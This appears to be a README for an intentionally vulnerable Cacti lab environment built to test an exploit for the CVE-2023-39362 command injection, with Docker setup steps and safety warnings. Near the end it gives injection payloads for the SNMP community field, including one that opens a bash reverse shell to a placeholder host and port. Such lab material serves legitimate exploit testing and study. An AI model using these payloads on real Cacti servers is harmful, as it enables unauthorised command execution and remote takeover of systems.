m3ssap0/cacti-rce-snmp-options-vulnerable-applicationWARNING: This is a vulnerable application to test the exploit for the Cacti command injection (CVE-2023-39362). Run it at your own risk!
This is a vulnerable application to test the exploit for the Cacti vulnerability (CVE-2023-39362).
This application contains serious security vulnerabilities. Run it at your own risk! It is recommended using a backed-up and sheltered environment (such as a VM with a recent snapshot and host-only networking). Do not upload this application to any Internet facing servers, as they will be compromised.
DISCLAIMER: I do not take responsibility for the way in which any one uses this application. The only purpose of this application is to be a test scenario for the CVE-2023-39362 exploit and it should not be used maliciously. If your server is compromised via an installation of this application it is not my responsibility, it is the responsibility of the person(s) who uploaded and installed it.
Here the steps to setup the environment:
docker compose up -d to start composition.admin/admin.admin.guest user.guest to try the exploit.The container will be called vuln-cacti.
The hostname for a test SNMP device is monitored_snmp_device.
To teardown the environment use docker compose down command.
The official installation guide of Cacti can be found here.
A detailed root cause of the vulnerability is available in the original security advisory or in my blog post.
(This is only one possible exploit)
public\' ; touch /tmp/m3ssap0 ; \'./tmp the presence of the created file.To obtain a reverse shell, a payload like the following can be used.
public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'
This project is licensed under the Unlicense - see the LICENSE file for details.